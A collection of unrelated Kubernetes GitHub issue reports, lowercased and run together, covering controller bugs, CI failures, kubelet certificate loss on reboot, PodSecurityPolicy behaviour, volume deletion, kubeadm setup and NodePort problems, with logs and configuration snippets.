api validation explicitly allows headless services to not have ports, but we seem to have not updated endpoints controller to know this:  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/validation/validation.go l2390  vs  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/endpoint/endpoints_controller.go l389  superficially this seems like an easy fix.  may be a candidate for 1.4.x  @sebgoa

is this a bug report or feature request?    choose one : bug report  when deleting a pod using deleteoptions, we use a delete http request, but require a body. this is generally a bad idea. it seems like deleteoptions should become a query parameter, rather than a body parameter.  cc: @maisem @lavalamp @krousey @kubernetes/sig-api-machinery

from ci failure here: https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/2458/build-log.txt\r \r upon deleting with orphan=true, the finalizer update   fails and the next time around the federated object is never deleted. this is flaky.\r \r relevant bits:\r \r    \r i0329 11:50:35.083  i0329 18:49:17.185376       1 daemonset_controller.go:273  trigerring reconciliation of daemonset e2e-tests-federated-daemonset-wjl2k/federated-daemonset\r i0329 11:50:35.084  i0329 18:49:17.185529       1 daemonset_controller.go:338  reconciling daemonset e2e-tests-federated-daemonset-wjl2k/federated-daemonset\r i0329 11:50:35.084  i0329 18:49:17.185667       1 daemonset_controller.go:462  handling deletion of daemonset: {{ } {federated-daemonset  e2e-tests-federated-daemonset-wjl2k /apis/extensions/v1beta1/namespaces/e2e-tests-federated-daemonset-wjl2k/daemonsets/federated-daemonset 662f0bb8-14b0-11e7-aae9-0a580ab60307 149 2 2017-03-29 18:49:11 +0000 utc 2017-03-29 18:49:16 +0000 utc 0xc4229b4398 map aaa:bbb  map       federation.kubernetes.io/delete-from-underlying-clusters orphan  } {&labelselector{matchlabels:map string string{aaa: bbb,},matchexpressions:  ,} {{      0 0001-01-01 00:00:00 +0000 utc <nil> <nil> map aaa:bbb  map         } {       {container1 gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }        {map   map  }    nil nil nil /dev/termination-log file ifnotpresent nil false false false}  always 0xc4229b43b0 <nil> clusterfirst map     <nil>  false false false &podsecuritycontext{selinuxoptions:nil,runasuser:nil,runasnonroot:nil,supplementalgroups:  ,fsgroup:nil,}      nil default-scheduler   }} {ondelete nil} 0 1} {0 0 0 0 0 0 0 0}}\r i0329 11:50:35.084  i0329 18:49:17.185966       1 deletion_helper.go:115  handling deletion of federated dependents for object: federated-daemonset\r i0329 11:50:35.084  i0329 18:49:17.186060       1 deletion_helper.go:122  found finalizer orphan. nothing to do, just remove the finalizer\r i0329 11:50:35.085  e0329 18:49:17.215415       1 daemonset_controller.go:368  failed to delete federated-daemonset: failed to remove finalizer orphan from daemonset : operation cannot be fulfilled on daemonsets.extensions \ federated-daemonset\ : the object has been modified; please apply your changes to the latest version and try again\r i0329 11:50:35.086  i0329 18:49:17.219857       1 daemonset_controller.go:273  trigerring reconciliation of daemonset e2e-tests-federated-daemonset-wjl2k/federated-daemonset\r i0329 11:50:35.086  i0329 18:49:17.219936       1 daemonset_controller.go:338  reconciling daemonset e2e-tests-federated-daemonset-wjl2k/federated-daemonset\r i0329 11:50:35.086  i0329 18:49:17.220059       1 daemonset_controller.go:462  handling deletion of daemonset: {{ } {federated-daemonset  e2e-tests-federated-daemonset-wjl2k /apis/extensions/v1beta1/namespaces/e2e-tests-federated-daemonset-wjl2k/daemonsets/federated-daemonset 662f0bb8-14b0-11e7-aae9-0a580ab60307 154 2 2017-03-29 18:49:11 +0000 utc 2017-03-29 18:49:16 +0000 utc 0xc422990c58 map aaa:bbb  map       orphan  } {&labelselector{matchlabels:map string string{aaa: bbb,},matchexpressions:  ,} {{      0 0001-01-01 00:00:00 +0000 utc <nil> <nil> map aaa:bbb  map         } {       {container1 gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }        {map   map  }    nil nil nil /dev/termination-log file ifnotpresent nil false false false}  always 0xc422990c80 <nil> clusterfirst map     <nil>  false false false &podsecuritycontext{selinuxoptions:nil,runasuser:nil,runasnonroot:nil,supplementalgroups:  ,fsgroup:nil,}      nil default-scheduler   }} {ondelete nil} 0 1} {0 0 0 0 0 0 0 0}}\r i0329 11:50:35.086  i0329 18:49:17.220332       1 deletion_helper.go:115  handling deletion of federated dependents for object: federated-daemonset\r i0329 11:50:35.086  i0329 18:49:17.220420       1 deletion_helper.go:117  obj does not have federation.kubernetes.io/delete-from-underlying-clusters finalizer. nothing to do\r

failure cluster  dae0de71647445850754  https://go.k8s.io/triage dae0de71647445850754        error text:     u=https://storage.googleapis.com/kubernetes-release-dev/ci r=v1.8.0-alpha.1.525+ec729ad66d7ca4 get-kube.sh failed: error during ./get-kube.sh: exit status 1           failure cluster statistics: 1 tests failed,    67 jobs failed,    247 builds failed. failure stats cover 1 day time range '27 jun 2017 20:13 utc' to '28 jun 2017 20:13 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | extract | 67 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-alpha-features | 8 |  28 jun 2017 17:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-alpha-features/14956  | | ci-kubernetes-e2e-kops-aws-updown | 8 |  28 jun 2017 17:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-updown/22904  | | ci-kubernetes-kubemark-500-gce | 7 |  28 jun 2017 17:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/6140  |   current status  https://go.k8s.io/triage dae0de71647445850754

hi, \r \r i added a new package  test   in  plugin/pkg/scheduler/algorithm/priorities/  folder, but when exec  make , got the below errors, the  import  package error. i referred to  godep.md  https://github.com/kubernetes/community/blob/master/contributors/devel/godep.md , tried  go install ./... ,  ./hack/godep-restore.sh  and  ./hack/godep-save.sh  commands, but still can't solve it. \r so, how to update the packages dependencies? or something else i missed?\r  \r    \r     test/e2e_node/e2e_node.test\r     cmd/gke-certificates-controller\r plugin/pkg/scheduler/algorithm/priorities/test.go:7:2: no buildable go source files in /home/zhangjian/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/algorithm/priorities/test\r !!!  0703 09:22:46  call tree:\r !!!  0703 09:22:46   1: /home/zhangjian/src/k8s.io/kubernetes/hack/lib/golang.sh:740 kube::golang::build_binaries_for_platform ... \r !!!  0703 09:22:46   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  0703 09:22:46  call tree:\r !!!  0703 09:22:46   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!!  0703 09:22:46  call tree:\r !!!  0703 09:22:46   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r make:      all  error 1\r    \r    \r root@test1:/home/zhangjian/src/k8s.io/kubernetes  go env\r goarch=\ amd64\ \r gobin=\ /usr/local/go/bin\ \r goexe=\ \ \r gohostarch=\ amd64\ \r gohostos=\ linux\ \r goos=\ linux\ \r gopath=\ /home/zhangjian\ \r gorace=\ \ \r goroot=\ /usr/local/go\ \r gotooldir=\ /usr/local/go/pkg/tool/linux_amd64\ \r cc=\ gcc\ \r gogccflags=\ -fpic -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build026544174=/tmp/go-build -gno-record-gcc-switches\ \r cxx=\ g++\ \r cgo_enabled=\ 1\ \r    \r    \r root@test1:~  godep version\r godep v74  linux/amd64/go1.7.6 \r

\r handler_proxy_test.go:328: invalid hostname + insecure: expected called=true, got false\r testing.go:610: race detected during execution of test\r

the most important part of  kubectl create  is the subcommands.  for this top level command, and maybe a few others  set , the options should only be shown if we do  kubectl create -h  or  kubectl help create , but not if a user simply runs  kubectl create .  that would make it much more readable for end users.\r \r

updated description:\r \r    problem\r the default  --cert-dir  path points to a transient location   /var/run/kubernetes   that is removed on reboot. the default  --kubeconfig  location points to a persistent location. this means that after a reboot, a kubelet can be stuck with configuration that is missing credentials needed to reach the api server.\r \r    solution\r    kubeadm  users:\r     updated kubeadm packages  deb  1.8.0-01 , rpm  1.8.0-1   have been released with a config change that prevents this issue from occurring. \r     if you have a node that is already in this state:\r       1. verify this is the issue you are experiencing:\r             the  /etc/kubernetes/kubelet.conf  file references  /var/run/kubernetes/kubelet-client.crt \r             the  /var/run/kubernetes/kubelet-client.crt  file does not exist\r       2. update the kubeadm package\r       3. remove the  /etc/kubernetes/kubelet.conf  file\r       4. restart the kubelet to allow it to bootstrap\r   custom deployments should set the  kubelet   --cert-dir  flag to a non-transient location, like  --cert-dir=/var/lib/kubelet/pki \r \r    details\r \r in 1.8.0, tls bootstrapping  using  --bootstrap-kubeconfig   writes certs to the  --cert-dir  path and a kubeconfig referencing those certs to the  --kubeconfig  path. that means that on reboot:\r   the client certs are removed\r    --bootstrap-kubeconfig  is ignored, because  --kubeconfig  exists\r    --kubeconfig  cannot be loaded, which causes the kubelet to log an error  but not exit \r \r in 1.7, tls bootstrapping inlined the certificates in the written  --kubeconfig , which sidestepped the issue with the  --cert-dir  getting removed.\r \r original description: \r \r /sig-autoscaling\r  \r   what happened  :\r  i have 1 master 174  and 2 nodes 175,171 . i am restarting one of the node 171 , when it came back, the kubelet on this server does not get started with errors:\r \r > sep 30 19:54:46 kube171 kubelet 2458 : w0930 19:54:46.526741    2458 server.go:381  invalid kubeconfig: invalid configuration:  unable to read client-cert /var/run/kubernetes/kubelet-client.crt for default-auth due to open /var/run/kubernetes/kubelet-client.crt: no such file or directory, unable to read client-key /var/run/kubernetes/kubelet-client.key for default-auth due to open /var/run/kubernetes/kubelet-client.key: no such file or directory \r sep 30 19:54:46 kube171 kubelet 2458 : error: failed to run kubelet: no client provided, cannot use webhook authorization\r \r ! y r0so03 6wtgbdv hn2h  https://user-images.githubusercontent.com/1670318/31045704-fbed0296-a61b-11e7-8cac-f33474e6116d.png \r \r \r when i look into the /var/run/kubernetes directory, two files are missing compare to pre-restart\r \r >    before restarting:  \r root@kube171:/var/run/kubernetes  ls -alh\r total 16k\r drwxr-xr-x  2 root root  120 sep 30 19:43 .\r drwxr-xr-x 27 root root 1020 sep 30 19:43 ..\r -rw-r--r--  1 root root  887 sep 30 19:43 kubelet-client.crt\r -rw-------  1 root root  227 sep 30 19:43 kubelet-client.key\r -rw-r--r--  1 root root 1.1k sep 30 19:43 kubelet.crt\r -rw-------  1 root root 1.7k sep 30 19:43 kubelet.key\r \r and after restarting\r \r > last login: sat sep 30 19:36:46 2017 from 192.168.4.234\r xx@kube171:~$ cd /var/run/kubernetes\r xx@kube171:/var/run/kubernetes$ ls -alh\r total 8.0k\r drwxr-xr-x  2 root root   80 sep 30 19:45 .\r drwxr-xr-x 25 root root  960 sep 30 19:45 ..\r -rw-r--r--  1 root root 1.1k sep 30 19:45 kubelet.crt\r -rw-------  1 root root 1.7k sep 30 19:45 kubelet.key\r xx@kube171:/var/run/kubernetes$\r \r \r \r   what you expected to happen  :\r does the node suppose to be back be \ ready\  status automatically?\r \r   how to reproduce it  as minimally and precisely as possible   :\r just power off / restart the node can reproduce the issue\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:46:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r bare metal - self hosted vms\r \r - os  e.g. from /etc/os-release :\r \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r \r linux kube171 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubeadm, kubectl, etc. nothing special\r \r - others:\r none\r ! 1yg2s rbda3k0 3k y5huo  https://user-images.githubusercontent.com/1670318/31045695-d2021ef8-a61b-11e7-9deb-f38bb7aa8f3c.png \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r an admin user is granted with privileged podsecuritypolicy which is defined as follow. the policy is also granted to the service accounts of the namespace of  default  as well. \r \r    \r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: privileged\r spec:\r   allowedcapabilities:\r     - audit_control\r     - audit_write\r     - block_suspend\r     - chown\r     - dac_override\r     - dac_read_search\r     - fowner\r     - fsetid\r     - ipc_lock\r     - ipc_owner\r     - kill\r     - lease\r     - linux_immutable\r     - mac_admin\r     - mac_override\r     - mknod\r     - net_admin\r     - net_bind_service\r     - net_broadcast\r     - net_raw\r     - setgid\r     - setfcap\r     - setpcap\r     - setuid\r     - sys_admin\r     - sys_boot\r     - sys_chroot\r     - sys_module\r     - sys_nice\r     - sys_pacct\r     - sys_ptrace\r     - sys_rawio\r     - sys_resource\r     - sys_time\r     - sys_tty_config\r     - syslog\r     - wake_alarm\r   fsgroup:\r     rule: runasany\r   hostipc: true\r   hostnetwork: true\r   hostpid: true\r   hostports:\r     -\r       max: 65535\r       min: 1\r   privileged: true\r   readonlyrootfilesystem: false\r   runasuser:\r     rule: runasany\r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   volumes:\r - \  \ \r    \r \r the admin user successfully create a deployment whose pod template requires  privileged: true  in  securitycontext  into the namespace of  default , however failed to create the deployment into the namespace of  test . \r \r following error messages are found in log file of kubernetes apiserver.\r \r    \r {\ log\ :\ i1117 06:21:55.766781       1 admission.go:128  getting pod security policies for pod   generate: ma-myloggingg-ibm-icplogging-master-67cdbb666c- \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-11-17t06:21:55.766955458z\ }\r {\ log\ :\ i1117 06:21:55.766893       1 rbac.go:116  rbac deny: user \\\ system:serviceaccount:kube-system:replicaset-controller\\\  groups  \\\ system:serviceaccounts\\\  \\\ system:serviceaccounts:kube-system\\\  \\\ system:authenticated\\\   cannot \\\ use\\\  resource \\\ podsecuritypolicies.extensions\\\  named \\\ privileged\\\  in namespace \\\ test\\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-11-17t06:21:55.766977501z\ }\r {\ log\ :\ i1117 06:21:55.766954       1 rbac.go:116  rbac deny: user \\\ system:serviceaccount:test:default\\\  groups  \\\ system:serviceaccounts\\\  \\\ system:serviceaccounts:test\\\   cannot \\\ use\\\  resource \\\ podsecuritypolicies.extensions\\\  named \\\ privileged\\\  in namespace \\\ test\\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-11-17t06:21:55.770097185z\ }\r {\ log\ :\ i1117 06:21:55.767003       1 admission.go:344  validating pod   generate: ma-myloggingg-ibm-icplogging-master-67cdbb666c-  against providers: default\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-11-17t06:21:55.770125296z\ }\r {\ log\ :\ i1117 06:21:55.767080       1 admission.go:170  unable to validate pod   generate: ma-myloggingg-ibm-icplogging-master-67cdbb666c-  against any pod security policy:  spec.initcontainers 0 .securitycontext.privileged: invalid value: true: privileged containers are not allowed capabilities.add: invalid value: \\\ ipc_lock\\\ : capability may not be added \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-11-17t06:21:55.770134035z\ }\r    \r \r it seems kubernetes is using the user account of  system:serviceaccount:kube-system:replicaset-controller  and  system:serviceaccount:test:default  to validate the psp policy, instead of the user account who issue the kubernetes api.\r \r the behavior is different from when user create pod directly. at that time, the user's account who issue the kubernetes api is used to validate the psp policy\r \r \r   what you expected to happen  :\r \r admin user should be able to deploy deployment in any namespace. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  : when i delete a pv, the backing infrastructure volume is not deleted  and the pvc turns to  lost  . only if i delete the pvc that led to the pv and the backing infrastructure volume in the first place, all three entities, i.e. the pvc and pv in kubernetes and the backing infrastructure volume are deleted.\r \r   what you expected to happen  : if i delete a pv  which i did accidentally, which is why i never noticed this behaviour before , i expect it to delete the backing infrastructure volume, otherwise it becomes orphan, remains in the infrastructure and generates costs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kubectl create -f pvc.yaml\r kubectl get pv\r kubectl delete pv pv_name\r    \r \r i used the following super simple  pvc.yaml :\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: foobar\r spec:\r   storageclassname: default\r   resources:\r     requests:\r       storage: 17gi\r   accessmodes:\r   - readwriteonce\r    \r \r console output:\r    \r $ k create -f pvc.yaml\r persistentvolumeclaim \ foobar\  created\r \r $ ka get pvc\r namespace   name      status    volume                                     capacity   accessmodes   storageclass   age\r default     foobar    bound     pvc-03145d94-e5fc-11e7-994a-0a580af406f9   17gi       rwo           default        3m\r \r $ k get pv\r name                                       capacity   accessmodes   reclaimpolicy   status    claim            storageclass   reason    age\r pvc-03145d94-e5fc-11e7-994a-0a580af406f9   17gi       rwo           delete          bound     default/foobar   default                  3m\r \r $ k delete pv pvc-03145d94-e5fc-11e7-994a-0a580af406f9\r persistentvolume \ pvc-03145d94-e5fc-11e7-994a-0a580af406f9\  deleted\r \r $ k get pv\r no resources found.\r \r $ k get pvc\r name      status    volume                                     capacity   accessmodes   storageclass   age\r foobar    lost      pvc-03145d94-e5fc-11e7-994a-0a580af406f9   0                        default        6m\r    \r \r   anything else we need to know?  :\r i had self-created vanilla kubernetes clusters on aws, azure, gcp and openstack. it happened on all four infrastructures. deleting the pvc always deleted itself, the pv and the backing infrastructure volume. deleting the pv directly nowhere deleted the backing infrastructure volume.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r     aws, openstack: 1.8.4\r     azure: 1.8.5\r     gcp: 1.8.2\r - cloud provider or hardware configuration: see above.\r - os  e.g. from /etc/os-release : coreos container linux\r

as discussed with @gmarek, now that we have taints we can move to a taint-based approach in our internal logic. this issue tracks the work that need to be done:\r \r controllers:\r \r - cloud/node_controller\r - node_controller  controller, ipam... \r - route_controller\r - service_controller  ensuring lbs using a taint based predicate listing   58358\r - ~~daemon_controller~~\r \r kubelet:\r \r - eviction_manager\r - transition from kubelet_node_status to kubelet_taint  ? \r \r scheduler: already done with predicates and equivalence cache\r \r please feel free to add anything that should be migrated.\r \r \r  /assign\r \r cc @kubernetes/sig-scheduling-misc @kubernetes/sig-node-proposals @kubernetes/sig-apps-feature-requests

   /assign\r \r external google compute engine persistent disk container storage interface plugin does not currently have e2e test for testing integration with kubernetes.\r \r plugin: https://github.com/googlecloudplatform/compute-persistent-disk-csi-driver\r \r this is a tracking issue for adding tests.

 \r   what happened  :\r the go client openstack auth provider used by kubectl does not persist the token it obtains. every time kubectl is invoked, the openstack auth provider obtains a new token from keystone. because the token is typically long-lived 0 , it can be persisted locally until it expires, or is revoked. persisting the token will significantly reduce the load on the keystone identity provider.\r \r  0  by default, the token expires after 1 hour, but longer durations  8-24 hours  are common.\r \r   what you expected to happen  :\r the openstack auth provider persists the token it obtains, and thereafter obtains a new token from keystone only when the current token has expired, or is revoked.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1.  configure kubectl with openstack auth provider  https://github.com/dims/k8s-keystone-auth new-kubectl-clients-v180-and-later \r 2. invoke kubectl multiple times while observing the keystone access log\r \r   anything else we need to know?  :\r the use case is not unique. for example, the gcp auth provider does persist the token it obtains.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.8\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r hostpath.type as  directoryorcreate  does not work on windows, there will be mount failed error\r \r    \r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: aspnet-hostpath\r spec:\r   containers:\r   - image: microsoft/aspnet\r     name: aspnet-hostpath\r     volumemounts:\r     - name: test-volume\r       mountpath: '/azure'\r   nodeselector:\r     beta.kubernetes.io/os: windows\r   volumes:\r   - name: test-volume\r     hostpath:\r       path: 'c:\\var\\lib\\kublet\\test'\r       type: directoryorcreate\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   /assign

>  \r \r   what happened  :\r \r    bash\r $ kubeadm init\r \r /    \r \r this error is likely caused by:\r \t\t\t- the kubelet is not running\r \t\t\t- the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r \t\t\t- no internet connection is available so the kubelet cannot pull or find the following control plane images:\r \t\t\t\t- k8s.gcr.io/kube-apiserver-amd64:v1.11.3\r \t\t\t\t- k8s.gcr.io/kube-controller-manager-amd64:v1.11.3\r \t\t\t\t- k8s.gcr.io/kube-scheduler-amd64:v1.11.3\r \t\t\t\t- k8s.gcr.io/etcd-amd64:3.2.18\r \t\t\t\t- you can check or miligate this in beforehand with \ kubeadm config images pull\  to make sure the images\r \t\t\t\t  are downloaded locally and cached.\r    \r   my images:   :\r \r    bash\r root@u-s-1:/tmp  kubeadm config images pull\r  config/images  pulled k8s.gcr.io/kube-apiserver-amd64:v1.11.3\r  config/images  pulled k8s.gcr.io/kube-controller-manager-amd64:v1.11.3\r  config/images  pulled k8s.gcr.io/kube-scheduler-amd64:v1.11.3\r  config/images  pulled k8s.gcr.io/kube-proxy-amd64:v1.11.3\r  config/images  pulled k8s.gcr.io/pause:3.1\r  config/images  pulled k8s.gcr.io/etcd-amd64:3.2.18\r  config/images  pulled k8s.gcr.io/coredns:1.1.3\r    \r  \r - kubernetes version  use  kubectl version  :\r \r    text\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r root@u-s-1:/tmp  cat /etc/os-release\r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r \r    \r linux u-s-1 4.15.0-34-generic  37-ubuntu smp mon aug 27 15:21:48 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r ! image  https://user-images.githubusercontent.com/42265657/50506539-66681900-0ab4-11e9-9746-5e71c05bc4ad.png \r \r the port 8000 of sample-service 10.107.175.103   seems not working.\r i checked endpoint \ endpoints/xxxx-sample-service \  is ok!\r then access sample-service by nodeport 32322  is ok too.\r ! image  https://user-images.githubusercontent.com/42265657/50507181-5271e680-0ab7-11e9-8263-634bfd897503.png \r \r after restarting the kube-proxy pods, i tested it again by following the above steps, but the result is the same.\r \r   what you expected to happen  :\r i hope the nodeport can be accessed normally.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5\ , gitcommit:\ 753b2dbc622f5cc417845f0ff8a77f539a4213ea\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:41:50z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5\ , gitcommit:\ 753b2dbc622f5cc417845f0ff8a77f539a4213ea\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:31:35z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : 16.04.1 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux master 4.4.0-130-generic  156-ubuntu smp thu jun 14 08:53:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

this is a follow-up of  11733   to get rid of the noises .     main errors - sync pod error      $ logs for kubelet  e0906 09:12:55.764482       1 manager.go:1757  failed to create pod infra container: open /proc/27373/cgroup: no such file or directory; skipping pod \ busybox_default\       also showed in the events      $ kubectl describe pods/busybox ... events:   firstseen             lastseen            count   from            subobjectpath               reason      message   sun, 06 sep 2015 17:12:55 +0800   sun, 06 sep 2015 17:12:55 +0800 1   {scheduler }                            scheduled   successfully assigned busybox to 10.10.102.28   sun, 06 sep 2015 17:12:55 +0800   sun, 06 sep 2015 17:12:55 +0800 1   {kubelet 10.10.102.28}  implicitly required container pod   pulled      container image \ gcr.io/google_containers/pause:0.8.0\  already present on machine   sun, 06 sep 2015 17:12:55 +0800   sun, 06 sep 2015 17:12:55 +0800 1   {kubelet 10.10.102.28}  implicitly required container pod   created     created with docker id fa5db056dd41   sun, 06 sep 2015 17:12:55 +0800   sun, 06 sep 2015 17:12:55 +0800 1   {kubelet 10.10.102.28}  implicitly required container pod   started     started with docker id fa5db056dd41   sun, 06 sep 2015 17:12:55 +0800   sun, 06 sep 2015 17:12:55 +0800 1   {kubelet 10.10.102.28}                      failedsync  error syncing pod, skipping: open /proc/27373/cgroup: no such file or directory   sun, 06 sep 2015 17:13:05 +0800   sun, 06 sep 2015 17:13:05 +0800 1   {kubelet 10.10.102.28}  spec.containers{busybox100}     pulling     pulling image \ busybox\    sun, 06 sep 2015 17:14:18 +0800   sun, 06 sep 2015 17:14:18 +0800 1   {kubelet 10.10.102.28}  spec.containers{busybox100}     pulled      successfully pulled image \ busybox\    sun, 06 sep 2015 17:14:18 +0800   sun, 06 sep 2015 17:14:18 +0800 1   {kubelet 10.10.102.28}  spec.containers{busybox100}     created     created with docker id f7bf9128bb6c   sun, 06 sep 2015 17:14:18 +0800   sun, 06 sep 2015 17:14:18 +0800 1   {kubelet 10.10.102.28}  spec.containers{busybox100}     started     started with docker id f7bf9128bb6c     - image garbage collection       e0906 09:56:50.896731       1 kubelet.go:737  image garbage collection failed: non-existent label \ docker-images\          how to reproduce - hyperkube built from the head      $ kubectl version client version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.5\ , gitcommit:\ 843c2c5d65278d57d138ff689b7de5151f058570\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 1+\ , gitversion:\ v1.1.0-alpha.1.362+2e2def36a904fe\ , gitcommit:\ 2e2def36a904fe9a197da5fc70e433e2e884442f\ , gittreestate:\ clean\ }     - follow the  official guide  https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/docker.md  to start k8s via docker  except the prerequisites --- i simply skipped them     upstart params to upstart kubelet      docker run --volume=/:/rootfs:ro --volume=/sys:/sys:ro \\     --volume=/dev:/dev --volume=/var/lib/docker/:/var/lib/docker:ro \\     --volume=/var/lib/kubelet/:/var/lib/kubelet:rw \\     --volume=/var/run:/var/run:rw --net=host \\     --privileged=true ${repo}/hyperkube:v${k8s_version} /hyperkube kubelet \\     --api-servers=https://127.0.0.1:6443 --v=2 --enable-server \\     --config=/etc/kubernetes/manifests-multi \\     --hostname-override=${private_ip} --cluster-dns=192.168.3.10 \\     --cluster-domain=cluster.local --kubeconfig=/srv/kubernetes/config     - env  docker version:both 1.7.1&& 1.8.1   i'm fully aware that docker 1.8.1 is still being validated  i'm starting from a clean env so few containers exist for now.      $ docker info docker info containers: 11 images: 15 storage driver: aufs  root dir: /var/lib/docker/aufs  backing filesystem: extfs  dirs: 37  dirperm1 supported: false execution driver: native-0.2 logging driver: json-file kernel version: 3.13.0-32-generic operating system: ubuntu 14.04.1 lts cpus: 4 total memory: 7.798 gib name: ubuntu id: pbp6:pqtm:enzc:oi5c:oxyk:eoya:vul7:ct7w:rh4h:y4nm:aina:6u5w warning: no swap limit support      platform: ubuntu 14.04  a full record of kubelet locates  